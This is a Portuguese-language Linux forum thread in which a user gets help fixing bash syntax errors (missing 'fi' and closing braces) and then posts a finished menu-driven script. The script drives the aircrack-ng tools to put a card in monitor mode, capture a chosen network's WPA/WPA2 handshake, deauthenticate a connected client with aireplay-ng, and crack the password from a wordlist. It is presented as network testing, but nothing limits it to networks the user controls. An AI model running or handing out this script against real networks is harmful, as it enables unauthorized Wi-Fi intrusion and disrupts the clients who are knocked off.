Usando Case dentro de Case e funções. [RESOLVIDO]

1. Usando Case dentro de Case e funções. [RESOLVIDO]

Fernando
ice_age

(usa Debian)

Enviado em 04/07/2015 - 19:18h

Pessoal, sou novo em shell script e estou com dificuldades para terminar um script que estou fazendo afim de facilitar testes em redes wireless..
Estou tentando usar um case dentro de outro chamando as funções, eu tinha terminado todas as funções com o }, porem na hora de executar foi acusando erros e mandando eu tirar alguns. Agora na hora de executar da o erro: line 105: syntax error: unexpected end of file.. Pessoal, mais uma duvida, é possivel eu buscar dados que foram armazenados em outra classe para usar?

Segue meu script, assim que ficar ok vou publicar pra todo mundo! Desde já agradeço qualquer ajuda..

#!/bin/bash
#Automatizacao de testes em redes Wifi
#ftm.fernando@gmail.com
#Execute como ROOT!
#
Wifi() {
echo "Automatizacao de testes em redes Wifi WPA/WPA2"
echo "@ph4nt3r4t1gr1s"
echo "-----------------------------------------------"
echo "Menu:"
echo "-----------------------------------------------"
echo "1 - Setar variaveis"
echo "2 - Ativar modo monitoramente e Snnifer na placa Wifi"
echo "3 - Ativar injecao de pacotes"
echo "4 - Quebrar Senha"
echo "5 - Exit"
echo
echo -n "Digite a opcao"
read opcao
case $opcao in
1) Seta_Var ;;
2) Snnifer ;;
3) Inject ;;
4) Crack ;;
5) Exit ;;
*) "Opcao desconhecida." ; echo ; Wifi ;;
esac
}
Seta_Var(){
echo "1 - Setar interface Wifi"
echo "2 - Setar diretorio captura"
echo "3 - Setar wordlist"
echo "4 - Verificar parametros setados"
echo "5 - Voltar ao Menu principal"
echo -n "Digite uma opcao"
read opcao_var
case $opcao_var in
1) interface_wifi ;;
2) diretorio_captura ;;
3) wordlist ;;
4) parametros ;;
5) Menu_principal ;;
*) "Opcao desconhecida." ; echo ; Seta_Var ;;
esac
}
interface_wifi(){
echo -n "Entre com o nome da interface Wifi"
airmon-ng
read interface
Seta_var
}
diretorio_captura(){
echo -n "Entre com o diretorio para salvar a coleta de pacotes"
read dirpacotes
if [ ! -d "$dirpacotes" ]; then
echo "Diretorio nao existe, criando diretorio..."
echo "."
echo ".."
echo "..."
mkdir $dirpacotes
Seta_var

wordlist(){
echo -n "Entre com o caminho absoluto da Wordlist, ex /home/wordlist.txt"
read wordlist
if [ ! -e "$wordlist" ]; then
echo "Wordlist nao existe ou foi digitada incorretamente"
Seta_var
parametros(){
echo "interface Wifi: $interface"
echo "Diretorio Captura: $dirpacotes"
echo "Worlist: $wordlist"
Seta_var
}
Menu_principal() {
Wifi
}
Snnifer(){
airmon-ng start $interface
echo -n "Entre com o nome da interface de monitoramento, ex wlan0mon"
read mon_interface
airodump-ng $mon_interface
echo "Analise a rede wifi a ser quebrada e entre com os dados exatamente como aparecem"
echo "Digite o BSSID da rede desejada:"
read bssid
echo "Digite o Canal, campo CH:"
read canal
echo "Digite o client, mac do pc que esta na rede"
read client
echo "Executando Snnifer.."
airodump-ng -c $canal --bssid $bssid -w $dirpacotes $mon_interface &
Wifi
}
Inject(){
aireplay-ng -0 2 $bssid -c $client $mon_interface
sleep 10
Wifi
}
Crack(){
aircrack-ng -a2 -b $bssid -w $wordlist $dirpacotes/*.cap
sleep 10
Wifi
}
Wifi



  


2. MELHOR RESPOSTA

Wellingthon Dias Queiroz - @tonyhts
tonyhts

(usa Arch Linux)

Enviado em 05/07/2015 - 00:47h

Olá,

Segue abaixo as correçoes comentadas.

#!/bin/bash
#Automatizacao de testes em redes Wifi
#ftm.fernando@gmail.com
#Execute como ROOT!
#
Wifi() {
echo "Automatizacao de testes em redes Wifi WPA/WPA2"
echo "@ph4nt3r4t1gr1s"
echo "-----------------------------------------------"
echo "Menu:"
echo "-----------------------------------------------"
echo "1 - Setar variaveis"
echo "2 - Ativar modo monitoramente e Snnifer na placa Wifi"
echo "3 - Ativar injecao de pacotes"
echo "4 - Quebrar Senha"
echo "5 - Exit"
echo
echo -n "Digite a opcao "
read opcao
case $opcao in
1) Seta_Var ;;
2) Snnifer ;;
3) Inject ;;
4) Crack ;;
5) Exit ;;
*) "Opcao desconhecida." ; echo ; Wifi ;;
esac
}
Seta_Var(){
echo "1 - Setar interface Wifi"
echo "2 - Setar diretorio captura"
echo "3 - Setar wordlist"
echo "4 - Verificar parametros setados"
echo "5 - Voltar ao Menu principal"
echo -n "Digite uma opcao "
read opcao_var
case $opcao_var in
1) interface_wifi ;;
2) diretorio_captura ;;
3) wordlist ;;
4) parametros ;;
5) Menu_principal ;;
*) "Opcao desconhecida." ; echo ; Seta_Var ;;
esac
}
interface_wifi(){
echo -n "Entre com o nome da interface Wifi "
airmon-ng
read interface
Seta_var
}
diretorio_captura(){
echo -n "Entre com o diretorio para salvar a coleta de pacotes "
read dirpacotes
if [ ! -d "$dirpacotes" ]; then
echo "Diretorio nao existe, criando diretorio..."
echo "."
echo ".."
echo "..."
mkdir $dirpacotes
Seta_var
fi ## faltou fechar o if = (((dica: use a identação nos blocos )))
} ## Faltou fechar a chave da função Diretorio captura
wordlist(){
echo -n "Entre com o caminho absoluto da Wordlist, ex /home/wordlist.txt "
read wordlist
if [ ! -e "$wordlist" ]; then
echo "Wordlist nao existe ou foi digitada incorretamente"
Seta_var
fi ## faltou fechar o if = (((dica: use a identação nos blocos )))
}
parametros(){
echo "interface Wifi: $interface"
echo "Diretorio Captura: $dirpacotes"
echo "Worlist: $wordlist"
Seta_var
}
Menu_principal() {
Wifi
}
Snnifer(){
airmon-ng start $interface
echo -n "Entre com o nome da interface de monitoramento, ex wlan0mon "
read mon_interface
airodump-ng $mon_interface
echo "Analise a rede wifi a ser quebrada e entre com os dados exatamente como aparecem"
echo "Digite o BSSID da rede desejada:"
read bssid
echo "Digite o Canal, campo CH:"
read canal
echo "Digite o client, mac do pc que esta na rede"
read client
echo "Executando Snnifer.."
airodump-ng -c $canal --bssid $bssid -w $dirpacotes $mon_interface &
Wifi
}
Inject(){
aireplay-ng -0 2 $bssid -c $client $mon_interface
sleep 10
Wifi
}
Crack(){
aircrack-ng -a2 -b $bssid -w $wordlist $dirpacotes/*.cap
sleep 10
Wifi
}
Wifi


Sobre sua duvida:
Pessoal, mais uma duvida, é possível eu buscar dados que foram armazenados em outra classe para usar?


Sim, quando vc executa seu script, ele é inteiramente carregado na memória. ( as funções são carregadas independentemente da ordem que as criou) e as variáveis uma vez armazenada, sempre poderá ser invocada/lida mesmo que ela declarada/gravada em outra função.

Abs

3. Re: Usando Case dentro de Case e funções. [RESOLVIDO]

Fernando
ice_age

(usa Debian)

Enviado em 05/07/2015 - 01:06h

Tony, muito obrigado! Eu pesquisei em tanto lugar e acabei não achando mesmo jeito de usar o case dentro de case, acabei usando o if, não ficou do jeito que vc escreveu mas ta começando a ficar funcional.. Eu vou terminar o meu, ai vou testar o que vc me mandou e postar o que eu fiz pra poder comparar. Muito obrigado! Abraço.



4. Re: Usando Case dentro de Case e funções. [RESOLVIDO]

Wellingthon Dias Queiroz - @tonyhts
tonyhts

(usa Arch Linux)

Enviado em 05/07/2015 - 01:08h


Blza Brother. É isso ai.. é fuçando que se aprende! Parabens.

abs


5. Meu script

Fernando
ice_age

(usa Debian)

Enviado em 05/07/2015 - 02:50h

Tony, obrigado pela ajuda, terminei meu script! Esta totalmente testado e funcionando..

#!/bin/bash
clear
echo ""
echo ""
echo " Automatizacao de testes em redes Wifi WPA/WPA2"
echo " ftm.fernando@gmail.com"
echo " @ph4nt3r4t1gr1s"
echo " Execute como ROOT!"
#
Wifi() {
echo " -----------------------------------------------"
echo " Menu:"
echo " -----------------------------------------------"
echo " 1 - Setar variaveis"
echo " 2 - Ativar modo monitoramente e Snnifer na placa Wifi"
echo " 3 - Ativar injecao de pacotes"
echo " 4 - Quebrar Senha"
echo " 5 - Exit"
echo
echo -n " Digite a opcao: "
read opcao
case $opcao in
1) Seta_Var ;;
2) Snnifer ;;
3) Inject ;;
4) Crack ;;
5) Exit ;;
*) " Opcao desconhecida." ; echo ; Wifi ;;
esac
}
Seta_Var(){
echo " 1 - Setar interface Wifi"
echo " 2 - Setar diretorio captura"
echo " 3 - Setar wordlist"
echo " 4 - Verificar parametros setados"
echo " 5 - Voltar ao Menu principal"
echo -n " Digite uma opcao: "
read opcao_var
if [ $opcao_var = 1 ]; then
sleep 1
airmon-ng
echo " Entre com o nome da interface Wifi: "
read interface
clear
Seta_Var
elif [ $opcao_var = 2 ]; then
echo -n " Entre com o diretorio para salvar a coleta de pacotes: "
read dirpacotes
if [ ! -d "$dirpacotes" ]; then
echo " Diretorio nao existe, criando diretorio..."
sleep 3
echo " ."
echo " .."
echo " ..."
mkdir $dirpacotes
chmod 777 -R $dirpacotes/
fi
sleep 1
clear
Seta_Var
elif [ $opcao_var = 3 ]; then
echo -n " Entre com o caminho absoluto da Wordlist, ex /home/wordlist.txt: "
read wordlist
if [ ! -e "$wordlist" ]; then
sleep 3
echo " Wordlist nao existe ou foi digitada incorretamente"
fi
clear
Seta_Var
elif [ $opcao_var = 4 ]; then
echo " interface Wifi: $interface"
echo " Diretorio Captura: $dirpacotes"
echo " Worlist: $wordlist"
sleep 6
clear
Seta_Var
elif [ $opcao_var = 5 ]; then
Wifi
fi
}
Snnifer() {
airmon-ng start $interface
echo -n " Deseja matar algum processo que esteja usando o Wifi?: [y/n] "
read kill_var
if [ $kill_var = y ]; then
echo " Digite o pid do processo: "
read pidkill
kill -9 $pidkill
fi
clear
airmon-ng start $interface > /tmp/wifidump
cat /tmp/wifidump
echo " Entre com o nome da interface de monitoramento, ex wlan0mon: "
read mon_interface
clear
echo " Precione: ctrl + c uma vez assim que aparecer o BSSID e o client STATION da rede que voce precisa.."
sleep 8
airodump-ng $mon_interface
echo " Analise a rede wifi a ser quebrada e entre com os dados exatamente como aparecem: "
echo " Digite o BSSID da rede desejada: "
read bssid
echo " Digite o Canal, campo CH: "
read canal
echo " Digite o client, mac do pc que esta na rede: "
read client
echo " Executando Snnifer..."
gnome-terminal -x bash -c "airodump-ng -c $canal --bssid $bssid -w $dirpacotes/ $mon_interface"
sleep 5
Wifi
}
Inject() {
aireplay-ng -0 2 -a $bssid -c $client $mon_interface
sleep 10
Wifi
}
Crack() {
clear
echo " Crakeando senha, isso pode demorar um pouco..."
gnome-terminal -x bash -c "aircrack-ng -a2 -b $bssid -w $wordlist $dirpacotes/*.cap"
sleep 30
Wifi
}
Exit() {
exit 0
}
Wifi







Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts